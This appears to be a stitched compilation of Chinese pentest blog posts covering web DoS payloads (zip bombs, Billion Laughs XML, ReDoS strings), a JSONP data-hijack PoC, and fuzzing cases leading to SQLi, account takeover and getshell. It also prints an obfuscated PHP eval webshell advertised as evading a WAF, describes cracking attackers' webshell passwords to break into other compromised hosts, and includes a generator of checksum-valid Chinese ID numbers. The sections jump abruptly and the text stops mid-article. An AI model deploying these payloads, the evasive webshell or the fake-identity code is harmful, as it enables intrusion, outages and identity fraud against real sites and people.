Web层面上的那些拒绝服务攻击(DoS) 声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，Vulkey_Chen(戴城)不为此承担任何责任。

Vulkey_Chen(戴城)拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。

未经Vulkey_Chen(戴城)允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

本文所需一定基础知识方能顺畅的进行阅读和理解，基础知识请读者自行搜索学习。

前言

相信很多师傅都了解DDoS攻击，也就是分布式拒绝服务，但这类攻击在很多时候拼的是资源，从攻击者的角度来看进行此类攻击还是需要一定“成本”的，从受害者的角度来看防御此类攻击的“成本”更是昂贵！

拒绝服务是一个老生常谈的话题，而发生在Web层面的拒绝服务风险一直不被重视；虽然其不如RCE、SQLi之类的漏洞更加直接的影响数据和服务，但令服务器宕机这类风险还是不容小视。

试想如果攻击者去利用不费成本的Web层拒绝服务风险造成服务器、应用、模块…瘫痪宕机，岂不是令那些斥巨资建设/购买“DDoS防护”一脸懵～

原理及案例 资源生成大小可控

现在有许多资源是由服务器生成然后返回给客户端的，而此类“资源生成”接口如若有参数可以被客户端控制（可控），并没有做任何资源生成大小限制，这样就会造成拒绝服务风险。

此类场景多为：图片验证码、二维码

实际场景

图片验证码在登录、注册、找回密码…等功能比较常见：

关注一下接口地址：https://attack/validcode?w=130&h=53

参数值：w=130&h=53，我们可以理解为生成的验证码大小长为130，宽为53

可以将w=130修改为w=130000000000000000，让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。

Zip炸弹

不知道各位有没有听说过Zip炸弹，一个42KB的压缩文件(Zip)，解压完其实是个4.5PB的“炸弹”。

先不说4.5PB这个惊人的大小，光解压都会占用极大的内存。

该文件的下载地址：https://www.bamsoftware.com/hacks/zipbomb/42.zip

解压这个42.zip以后会出现16个压缩包，每个压缩包又包含16个，如此循环5次，最后得到16的5次方个文件，也就是1048576个文件，这一百多万个最终文件，每个大小为4.3GB。 因此整个解压过程结束以后，会得到 1048576 * 4.6 GB = 4508876.8 GB，也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB。

通过以上说明，我们可以寻找存在解压功能的Web场景进行拒绝服务攻击，但是这里有一个前置条件就是需要解压并可以递归解压。

那我们想要完成这一攻击就非常的困难了，“前辈”也提到了非递归的Zip炸弹，也就是没有嵌套Zip文件文件的，如下表格：

名称 解压结果 zbsm.zip 42 kB → 5.5 GB zblg.zip 10 MB → 281 TB zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible)

存在解压功能的Web场景还是比较多的，可以根据实际业务场景进行寻找。

实际场景

根据实际业务场景发现一处上传模板文件功能，根据简单的测试，发现此处上传Zip文件会自动解压：

这里我选择上传zbsm.zip上去，看一下服务器反应:

这里整个服务的请求都没有返回结果，成功造成拒绝服务。

XDoS(XML拒绝服务攻击)

XDoS，XML拒绝服务攻击，其就是利用DTD产生XML炸弹，当服务端去解析XML文档时，会迅速占用大量内存去解析，下面我们来看几个XML文档的例子。

Billion Laughs

据说这被称为十亿大笑DoS攻击，其文件内容为：

<!DOCTYPE keyz [ <!ENTITY key "key"> <!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;"> <!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;"> <!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;"> <!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;"> <!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;"> <!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;"> <!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;"> <!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;"> ]> <keyz>&key9;</keyz>

这是一段实体定义，从下向上观察第一层发现key9由10个key8组成，由此类推得出key[n]由10个key[n-1]组成，那么最终算下来实际上key9由10^9(1000000000)个key[..]组成，也算是名副其实了～

本地测试解析该XML文档，大概占用内存在2.5GB左右（其他文章中出现的均为3GB左右内存）：

试想：这只是9层级炸弹，如果再多一点呢？

External Entity

外部实体引用，文档内容如下：

<!DOCTYPE keyz [ <!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe"> ]> <keyz>&wechat;</keyz>

这个理解起来就很简单了，就是从外部的链接中去获取解析实体，而我们可以设置这个解析URL为一个超大文件的下载地址，以上所举例就是微信的。

当然，我们也可以设置一个不返回结果的地址，如果外部地址不返回结果，那么这个解析就会在此处一直挂起从而占用内存。

Internal Entity

内部实体引用，文档内容如下：

<!DOCTYPE keyz [ <!ENTITY a "a...a"> ]> <keyz>&a;...&a;</keyz>

其意思就是实体a的内容又臭又长，而后又N次引用这个实体内容，这就会造成解析的时候占用大量资源。

实际场景

一开始通过此处上传doc文档的功能，发现了一枚XXE注入，提交后厂商进行修复，但复测后发现其修复的结果就是黑名单SYSTEM关键词，没办法通过带外通道读取敏感数据了～

抱着试一试的心态将Billion Laughs的Payload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件，重新打包即可)：

上传之后产生的效果就是网站延时极高，至此就完成了整个测试。

ReDoS(正则表达式拒绝服务攻击)

ReDoS，正则表达式拒绝服务攻击，顾名思义，就是由正则表达式造成的拒绝服务攻击，当编写校验的正则表达式存在缺陷或者不严谨时，攻击者可以构造特殊的字符串来大量消耗服务器的系统资源，造成服务器的服务中断或停止。

在正式了解ReDoS之前，我们需要先了解一下正则表达式的两类引擎：

名称 区别 应用 匹配方式 DFA DFA对于文本串里的每一个字符只需扫描一次，速度快、特性少 awk(大多数版本)、egrep（大多数版本）、flex、lex、MySQL、Procmail… 文本比较正则 NFA NFA要翻来覆去标注字符、取消标注字符，速度慢，但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep（大多数版本）、less、more、.NET语言、PCRE library、Perl、PHP（所有三套正则库）、Python、Ruby、set（大多数版本）、vi… 正则比较文本

文本比较正则：看到一个子正则，就把可能匹配的文本全标注出来，然后再看正则的下一个部分，根据新的匹配结果更新标注。

正则比较文本：看见一个字符，就把它跟正则比较，匹配就标注下来，然后接着往下匹配。一旦不匹配，就忽略这个字符，以此类推，直到回到上一次标注匹配的地方。

那么存在ReDoS的核心就是NFA正则表达式引擎，它的多模式会让自身陷入递归险境，从而导致占用大量CPU资源，性能极差，严重则导致拒绝服务。

NFA 回溯

简单的聊一下什么是回溯，这里有一个正则表达式：

ke{1,3}y

其意图很简单，e字符需要匹配1-3次，k、y匹配一次即可。

现在我们遇到了两个需要匹配的字符串：

• keeey
• key

字符串keeey的匹配过程是一气呵成的：匹配k完成之后，完整匹配e，最后是匹配y

字符串key的匹配过程就发生了回溯，其匹配过程如下图所示（橙色为匹配，黄色为不匹配）：

前两步属于正常，但从第3步开始就不一样了，这里字符串key已经有一个e被e{1,3}匹配，但它不会就此作罢，而会继续向后用正则e{1,3}匹配字符y，而当发现字符不匹配后，就忽略该字符，返回到上一次标注匹配的字符e再进行一次匹配，至此就发生了一次回溯，最后匹配y结束整个正则匹配过程。

那么为什么会产生回溯呢？这跟NFA的贪婪模式有关（贪婪模式默认是开启的）。

NFA 贪婪

我们想要彻底摸清楚整个过程就要抛根问底，究其原理，所以来了解一下贪婪模式～

根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是：不撞南墙不回头

以下所列的元字符，大家应该都清楚其用法：

i. ?: 告诉引擎匹配前导字符0次或一次，事实上是表示前导字符是可选的。 ii. +: 告诉引擎匹配前导字符1次或多次。 iii. *: 告诉引擎匹配前导字符0次或多次。 iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了，则表示max没有限制；如果逗号和max都被省略了，则表示重复min次。

默认情况下，这个几个元字符都是贪婪的，也就是说，它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。

恶意正则表达式

错误的使用以上所列的元字符就会导致拒绝服务的风险，此类称之为恶意的正则表达式，其表现形式为：

1. 使用重复分组构造
2. 在重复组内会出现：重复、交替重叠

简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分)：

(a+)+ ([a-zA-Z]+)* (a|aa)+ (a|a?)+ (.*a){x} for x > 10 ReDoS 恶意正则检测

对于复杂的恶意正则表达式，靠人工去看难免有些许费劲，推荐一款工具：https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme)

该工具支持大批量的正则表达式检测，并给出检测结果。

实际场景

很庆幸的是大多Web脚本语言的正则引擎都为NFA，所以也很方便我们做一些Web层面的挖掘。

做测试的时候大家有没有发现过这样一个逻辑：密码中不能包含用户名

这是一个用户添加的功能，其校验是通过后端的，请求包如下

POST /index/userAdd HTTP/1.1 Host: [host] ... nickname=xxx&password=xxx&...

当password中包含nickname则提示密码中不能包含用户名

利用Python简单还原一下后端逻辑：

# -*- coding: utf-8 -*- import sys,re username = sys.argv[1] password = sys.argv[2] regex = re.compile(username) if (regex.match(password)): print u'密码中不能包含用户名' else: print u'用户添加成功'

这时候用户名是一个正则，密码是一个待匹配字符串，而这时候我们都可以进行控制，也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。

恶意的正则表达式：a(b|c+)+d 字符串（我们要想让其陷入回溯模式就不能让其匹配到，所以使用ac......cx的格式即可）：acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx

如下图所示ReDoS攻击成功：

我们只需要以同样的方式替换原请求包中的参数值即可（前提是该功能没有限制字符串长度和特殊字符）～

还有更多应用场景等待去发现，这里就不过多赘述了～

数据查询数量可控

想必如下这类接口大家都见多了吧：

/api/getInfo?page=1&page_size=10 ... /api/viewData?startTime=&endTime=1591258015173 ... ...

而这类接口通常都是调用数据的，当一个系统数据量十分大（这也是拒绝服务的前提）的时候就需要分页功能去优化性能，那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样？比如page_size=10000，再去请求会发现服务器明显有返回延迟（大量数据的查询展示）：

那如果是page_size=100000000000呢？想象一下，从查询到数据格式的处理返回展示，要占用巨大的服务器资源，我们如果尝试去多次重放此类请求，服务器终究还是无法承受这样的“力量”，最后导致宕机…

时间参数startTime也是如此，我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。

References

https://bbs.pediy.com/thread-252487.htm

https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf

https://zhuanlan.zhihu.com/p/41800341

利用SourceMap还原网站原始代码(前端)

作者：key

说明

现在越来越多网站使用前后端分离技术，利用Webpack技术将JS类拓展语言进行打包，当然很多都是配套使用，例如Vue（前端Javascript框架）+Webpack技术；

这种技术也在普及，并且转向常态化，对渗透测试人员来说极其不友好：

1.增加了前端代码阅读的时间（可读性很差） 2.由原因1间接造成了前端漏洞的审计困难性

但是也具备一定的好处：

1.采用这种模式，后端接口将完全暴露在JS文件中

除此之外，如果生成了Source Map文件可以利用该文件还原网站原始前端代码（关于技术名词的具体含义请自行查询百科）

主流浏览器都自带解析Source Map文件功能（开发者工具-Sources【火狐下是调试器】）：

展开可以看见具体文件和代码：

但是文件过多的情况下，单个查看繁琐，不便于搜索（浏览器的开发者工具支持全局文件搜索，但搜索速度较慢），使用restore-source-tree可以解决这一问题。

restore-source-tree 安装

原作者的有BUG，使用国外友人修复后的版本：https://github.com/laysent/restore-source-tree，安装步骤如下：

git clone https://github.com/laysent/restore-source-tree cd restore-source-tree sudo npm install -g Source Map文件还原

在这类JS文件下通常会有一个注释：

map文件就是js文件所在目录下，拼接URL即可访问，将其下载下来：

wget http://hostname/static/js/app.fedfe85b2fdd8cf29dc7.js.map

restore-source-tree进行还原：

# -o 参数是指定输出目录，若不适用则为默认的output目录 restore-source-tree app.fedfe85b2fdd8cf29dc7.js.map

成功获得原代码：

Reference

https://yukaii.tw/blog/2017/02/21/restore-source-code-from-sourcemap-file/

动态JS劫持用户信息

Webpack+JSONP劫持

作者：key

注：本文已对敏感信息脱敏化，如有雷同纯属巧合。

前言

在做测试的时候发现一个请求：

POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxx

其对应返回的信息包含了我本身用户的敏感信息：手机号、姓名、邮箱…

通过BurpSuite的插件Logger++搜索发现该ticket值居然出现在了JS文件中：

确定漏洞

通过测试我发现以上所述请求中的Cookie为无效请求头，后端不对齐校验，但对ticket校验，也就说明此处的ticket代表了获取用户信息的关键参数，换种说法：当你知道用户的ticket参数即可获取该用户信息。

判断JS动静态

当我在Logger++插件搜索到ticket值存在JS文件内容时，我的第一想法就是这个JS文件为动态类型，其文件内容跟随用户凭证字段的变化而变化。

测试：删除Cookie字段，结果：ticket参数值消失，由此可以判断该JS内容为动态类型。

再尝试将测试账户A的Cookie字段内容替换为测试账户B的Cookie字段内容，结果：ticket参数值变为测试账户B用户的对应值，由此可以判断该JS文件路径是固定的，并不是动态路径。

Webpack+JSONP劫持

已知JS文件路径为：https://website/app.xxxxx.js

查看其文件内容发现其被Webpack打包过：

那么我们想要劫持这个JS文件内容其实就可以使用JSONP的PoC代码（因为这段JS文件内容就是自定义函数+传入参数）：

<script> function webpackJsonp(data) { alert(data) } </script> <script src="https://website/app.xxxxx.js"></script>

但这样得不到我们想要的ticket值，简单的看了下JS代码，这段JS代码内容的格式是这样的：

webpackJsonp 函数传入两个参数：第一个参数毫无用处，第二个参数传入的值包含了我们想要的ticket值。

那以上代码就可以这样修改：

<script> function webpackJsonp(data, data1) { alert(data1) } </script> <script src="https://website/app.xxxxx.js"></script>

但我们还是没得到我们想要的信息：

因为第二段参数传入的值还需要进行解析，我发现这段值内容就是一段JSON对象，而对象的每个属性都在定义一个函数：

寻找ticket所在函数位置，发现其在jbTV: function...内，知道了所在函数位置，PoC代码只需要这样进行构建：

<script> function webpackJsonp(data, data1) { alert(data1['jbTV']) } </script> <script src="https://website/app.xxxxx.js"></script>

访问，成功获取：

后面只需要稍微的加个正则就可以了～

攻击方式

用户登录状态，访问该漏洞页面，触发即可获取到ticket值，将该值带入以上所列请求中即可越权获取用户信息

结尾

心细一点，漏洞就在眼前，

WebFuzzing方法和漏洞案例总结

作者：Vulkey_Chen

博客：gh0st.cn

背景

之前有幸做过一次线下的议题分享《我的Web应用安全模糊测试之路》，讲解了一些常用的WebFuzzing技巧和案例，该议题得到了很大的回响，很多师傅们也与我进行了交流，但考虑到之前分享过很多思路非常不全面，这里以本篇文章作为一次总结，以实战引出技巧思路（方法）。

我的Web应用安全模糊测试之路议题解读：https://gh0st.cn/archives/2018-07-25/1 （推荐阅读）

实战案例

以下分享的案例都是个人在参与项目或私密众测邀请时遇见的真实案例，案例大多基于个人收集和整理的FuzzDict项目（字典库）。

其中涉及的一些漏洞可能无法作为Fuzzing归类，这里也进行了强行的归类，只是想告诉大家漏洞挖掘中思路发散的重要性，个人也觉得比较经典。

注： 漏洞案例进行了脱敏以及细节上的修改。

案例-Add [SQLi注入漏洞]

1.获得项目子域：https://xxx.com

2.目录扫描发现/user/目录，二层探测发现/register接口，其意为：“注册”

3.根据返回状态信息去Fuzz用户名、密码参数->结果：uname\pwd

4.对uname参数进行SQL注入测试，简单的逻辑判断存在

5.注入点使用16进制的方式无法注入，SQLmap参数--no-escape即可绕过

[拒绝服务]图片验证码

图片验证码DoS（拒绝服务攻击）这个思路很早就出来了，当时的第一想法就是采集样本收集参数，使用搜索引擎寻找存在图片验证码的点：

根据这些点写了个脚本进行半自动的参数收集：

在漏洞挖掘的过程中，经常会抓取图片验证码的请求进行Fuzz：

图片验证码地址：https://xxx/validateCode

Fuzz存在潜藏参数，可控验证码生成大小：

[JSONP]无中生有

获得一个敏感信息返回的请求端点：http://xxx/getInfo

使用callback_dict.txt字典进行Fuzz：

成功发现callback这个潜藏参数：

[逻辑漏洞]响应变请求

这里同样是获得一个敏感信息返回的请求端点：http://xxx/getInfo

返回的信息如下所示：

{"responseData":{"userid":"user_id","login":"user_name","password":"user_password","mobilenum":"user_mobilephone_number","mobileisbound":"01","email":"user_email_address"}}

尝试了一些测试思路都无法发现安全漏洞，于是想到了响应变请求思路。

将响应报文的JSON字段内容转化为HTTP请求的字段内容（BurpSuite插件项目：https://github.com/gh0stkey/JSONandHTTPP）：

将相关的信息字段内容替换为测试账号B的信息（例如：login=A -> login=B）

发现无法得到预期的越权漏洞，并尝试分析该网站其他请求接口对应的参数，发现都为大写，将之前的参数转换为大写：

继续Fuzz，结果却出人意料达到了预期：

案例-Update [逻辑漏洞]命名规律修改

一个登录系统，跟踪JS文件发现了一些登录后的系统接口，找到其中的注册接口成功注册账户进入个人中心，用户管理处抓到如下请求：

POST URL: https://xxx/getRolesByUserId POST Data: userId=1028

返回如下信息：

可以看见这里的信息并不敏感，但根据测试发现userId参数可以进行越权遍历

根据url判断这个请求的意思是根据用户id查看用户的身份，url中的驼峰方法(getRolesByUserId)惊醒了我，根据命名规则结构我将其修改成getUserByUserId，也就是根据用户id获取用户，也就成为了如下请求包。

POST URL: https://xxx/getUserByUserId POST Data: userId=1028

成功返回了敏感信息，并通过修改userId可以越权获取其他用户的信息。

[逻辑漏洞]敏感的嗅觉

在测一个刚上线的APP时获得这样一条请求：

POST /mvc/h5/jd/mJSFHttpGWP HTTP/1.1 …… param={"userPin":"$Uid$","addressType":0}

而这个请求返回的信息较为敏感，返回了个人的一些物理地址信息：

在这里param参数是json格式的，其中"userPin":"$Uid$"引起我注意，敏感的直觉告诉我这里可以进行修改，尝试将$Uid$修改为其他用户的用户名、用户ID，成功越权：

[逻辑漏洞]熟能生巧

收到一个项目邀请，全篇就一个后台管理系统。针对这个系统做了一些常规的测试之后除了发现一些 没用的弱口令外(无法登录系统的)没有了其他收获。

分析这个后台管理系统的URL:https://xxx/?m=index，该URL访问解析过来 的是主⻚信息。

尝试对请求参数m的值进行Fuzz，7K+的字典进行Fuzz，一段时间之后收获降临：

获得了一个有用的请求:?m=view，该请求可以直接未授权获取信息：

案例-Delete [逻辑漏洞]Token限制绕过

在测业务的密码重置功能，发送密码重置请求，邮箱收到一个重置密码的链接：http://xxx/forget/pwd?userid=123&token=xxxx

这时候尝试删除token请求参数，再访问并成功重置了用户的密码：

[SQLi辅助]参数删除报错

挖掘到一处注入，发现是root（DBA）权限：

但这时候，找不到网站绝对路径，寻找网站用户交互的请求http://xxx/xxxsearch?name=123，删除name=123，网站报错获取绝对路径：

成功通过SQLi漏洞进行GetWebshell。

总结

核心其实还是在于漏洞挖掘时的心细，一件事情理解透彻之后万物皆可Fuzz。

平时注意字典的更新、整理和对实际情况的分析，再进行关联整合。

对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析，发现⼤部分肉鸡的网站根目录都存在 images.php，提取该文件的内容并分析：

提出较为重要的那一段base64decode后的PHP代码进行分析：

@session_start();//开启session if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

代码逻辑：判断POST请求参数code是否有值，当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code']，这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密，最后从加密后的字符串的第36位开始取值（sha1加密后的值为40位，这里也就是取后4位），当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code']（Why？&&是逻辑与操作，如果&&的前面为false了，后面的就不会执行了，所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件），最后进入该代码执行：if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));，代码如此简单就不再重复描述～

为了满足条件（substr(sha1(md5($_POST['a'])),36)=='222f'），我们可以采用钓鱼的方式等攻击方人员主动上钩（修改images.php即可）：

当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。

但此方法较为被动，我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文：

获得了：abc123000、lipeng520、160376这三个密码，可利用密码对其他的肉鸡再次进行反打。

代码样本：（测试可过安全狗）

<?php $CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n'; $EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));'); $EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7'); ?>

背景

难题：/home/chen/test/目录下的index.html为首页文件，一直被入侵者恶意篡改

需求：想要定位攻击方式以及篡改方式

命令：auditctl （安装：sudo apt install auditd）

参数：

-w 监控文件路径 -p 监控文件筛选 r(读) w(写) x(执行) a(属性改变) -k 关键词（用于查询监控日志）

运行：sudo auditctl -w /home/chen/test/index.html -p w -k index，等待二次篡改

过程

发现被篡改执行：sudo ausearch -i -k index 查看日志

type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index

了解该日志的格式：

syscall : 相关的系统调用 auid : 审计用户ID uid 和 gid : 访问文件的用户ID和用户组ID comm : 用户访问文件的命令 exe : 上面命令的可执行文件路径

这里的syscall可以理解为是执行的动作，那么这段日志就非常容易理解了：用户chen使用gedit rename了该文件（重命名）

那么syscall是什么代表着编辑文件内容呢？（篡改）

测试gedit打开文件、编辑文件内容、保存文件，有三条日志：

type=SYSCALL msg=audit(08/20/2019 02:22:10.897:506) : arch=x86_64 syscall=openat success=no exit=EEXIST(File exists) a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_EXCL a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.897:507) : arch=x86_64 syscall=openat success=yes exit=17 a0=0xffffff9c a1=0x7f5ca0009800 a2=O_WRONLY|O_CREAT|O_NOFOLLOW a3=0x1b6 items=2 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index type=SYSCALL msg=audit(08/20/2019 02:22:10.905:509) : arch=x86_64 syscall=rename success=yes exit=0 a0=0x7f5c94011370 a1=0x7f5c94005d90 a2=0x0 a3=0x20 items=5 ppid=1966 pid=17243 auid=chen uid=chen gid=chen euid=chen suid=chen fsuid=chen egid=chen sgid=chen fsgid=chen tty=(none) ses=3 comm=pool exe=/usr/bin/gedit key=index

syscall分别为：openat、openat、rename，但注意到第一个openat的日志中的success等于no

也就是说我们可以理解日志中出现syscall=openat即有人在修改文件，那么查看日志的命令就可以变成：

sudo ausearch -i -k index | grep 'syscall=openat'

END：定位到了用户、进程就可以继续跟踪了。

RGPerson

项目地址：https://github.com/gh0stkey/RGPerson

RGPerson - 随机身份生成

环境：python3

使用方法：python3 RGPerson.py

为什么需要Ta

相信很多师傅们在做测试的时候经常遇到一些注册的业务功能，要填写的东西很多，我一般都是临时去百度用的信息，这样很繁琐所以决定造轮子撸了个随机身份生成的。

介绍

该脚本生成信息：姓名\年龄\性别\身份证\手机号\组织机构代码\统一社会信用代码

脚本编写原理

脚本的函数： genMobile()、genIdCard()、genName()、genOrgCode()、genCreditCode()

genMobile() 为随机生成手机号的函数

genName() 为随机生成姓名的函数

genIdCard() 为随机生成身份证的函数

genOrgCode() 为随机生成组织机构代码的函数

genCreditCode() 为随机生成统一社会信用代码的函数

genMobile()

随机生成手机号：需要知道国内手机号的构成

1.长度为十一位

2.前三位表示运营商

现在我们只需要做到收集手机号号段的前三位以及对应的运营商：

prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"}

获取该数组的长度：len(prelist) -> 42

随机生成下标获取三位数：prelist.keys()[random.randint(0,41)]

然后再随机填补后8位即可：

def genMobile(): prelist = {"133":"电信","149":"电信","153":"电信","173":"电信","177":"电信","180":"电信","181":"电信","189":"电信","199":"电信","130":"联通","131":"联通","132":"联通","145":"联通","155":"联通","156":"联通","166":"联通","171":"联通","175":"联通","176":"联通","185":"联通","186":"联通","166":"联通","134":"移动","135":"移动","136":"移动","137":"移动","138":"移动","139":"移动","147":"移动","150":"移动","151":"移动","152":"移动","157":"移动","158":"移动","159":"移动","172":"移动","178":"移动","182":"移动","183":"移动","184":"移动","187":"移动","188":"移动","198":"移动"} three = list(prelist.keys())[random.randint(0,len(prelist)-1)] mobile = three + "".join(random.choice("0123456789") for i in range(8)) op = prelist[three] return {mobile:op} genName()

随机生成姓名：中文名字通常为2、3位汉字组成

1.收集常用的姓氏随机取其一个：

def first_name(): first_name_list = ['赵', '钱', '孙', '李', '周', '吴', '郑', '王', '冯', '陈', '褚', '卫', '蒋', '沈', '韩', '杨', '朱', '秦', '尤', '许', '何', '吕', '施', '张', '孔', '曹', '严', '华', '金', '魏', '陶', '姜', '戚', '谢', '邹', '喻', '柏', '水', '窦', '章', '云', '苏', '潘', '葛', '奚', '范', '彭', '郎', '鲁', '韦', '昌', '马', '苗', '凤', '花', '方', '俞', '任', '袁', '柳', '酆', '鲍', '史', '唐', '费', '廉', '岑', '薛', '雷', '贺', '倪', '汤', '滕', '殷', '罗', '毕', '郝', '邬', '安', '常', '乐', '于', '时', '傅', '皮', '卞', '齐', '康', '伍', '余', '元', '卜', '顾', '孟', '平', '黄', '和', '穆', '萧', '尹', '姚', '邵', '堪', '汪', '祁', '毛', '禹', '狄', '米', '贝', '明', '臧', '计', '伏', '成', '戴', '谈', '宋', '茅', '庞', '熊', '纪', '舒', '屈', '项', '祝', '董', '梁'] n = random.randint(0, len(first_name_list) - 1) f_name = first_name_list[n] return f_name

2.这里一开始想搜罗常用的名字，但参考了其他师傅的代码发现随机生成中文字符更好一点：

def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xf9) val = f'{head:x}{body:x}' st = bytes.fromhex(val).decode('gb2312') return st

3.随机生成名字的第二个字：(这里用一个list做一个空值，随机取生成的汉字或空值，用于成为随机生成2位名字或3位名字)

def second_name(): second_name_list = [GBK2312(), ''] n = random.randint(0, 1) s_name = second_name_list[n] return s_name

4.随机生成名字的最后一个字：(用于满足三个汉字的名字)

def last_name(): return GBK2312()

5.拼接

def last_name(): return GBK2312() genIdCard()

随机生成身份证：公民身份号码是由17位数字码和1位校验码组成

18位数字组合的方式是：

1 1 0 1 0 2 Y Y Y Y M M D D 8 8 8 X 区域码(6位) 出生日期码(8位) 顺序码(2位) 性别码(1位) 校验码(1位)

• 6位区域码爬取http://www.360doc.com/content/12/1010/21/156610_240728293.shtml，存到了districtcode.py

区域码 指的是公民常住户口所在县（市、镇、区）的行政区划代码，如110102是北京市-西城区。但港澳台地区居民的身份号码只精确到省级。

• 8位出生日期码，具体Python代码如下：

age = random.randint(16,60) #可调整生成的年龄范围（身份证），这边是16-60岁 y = date.today().year - age #生成的年份 m = date(y, 1, 1) #生成的月份，初始值为1月1日 d = timedelta(days=random.randint(0, 364)) #随机生成的天数 datestring = str(m + d) #加天数得到最终值

出生日期码 表示公民出生的公历年（4位）、月（2位）、日（2位）。

• 2位顺序码

顺序码 表示在同一区域码所标识的区域范围内，对同年、同月、同日出生的人编定的顺序号。

• 1位性别码

性别码 奇数表示男性，偶数表示女性。

• 最后一位是校验码，这里采用的是ISO 7064:1983,MOD 11-2校验码系统。校验码为一位数，但如果最后采用校验码系统计算的校验码是“10”，碍于身份证号码为18位的规定，则以“X”代替校验码“10”。

最难的还是校验码的算法，参考师傅的解说：

1.将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为：7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2

2.将这17位数字和系数相乘的结果相加。

3.用加出来和除以11，得余数

4.余数只可能是0 1 2 3 4 5 6 7 8 9 10这11个数字，其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2。

5.通过上面得知如果余数是2，就会在身份证的第18位数字上出现罗马数字的Ⅹ，如果余数是10，身份证的最后一位号码就是2。

测试代码如下，取了几个真实的身份证号码发现可用：

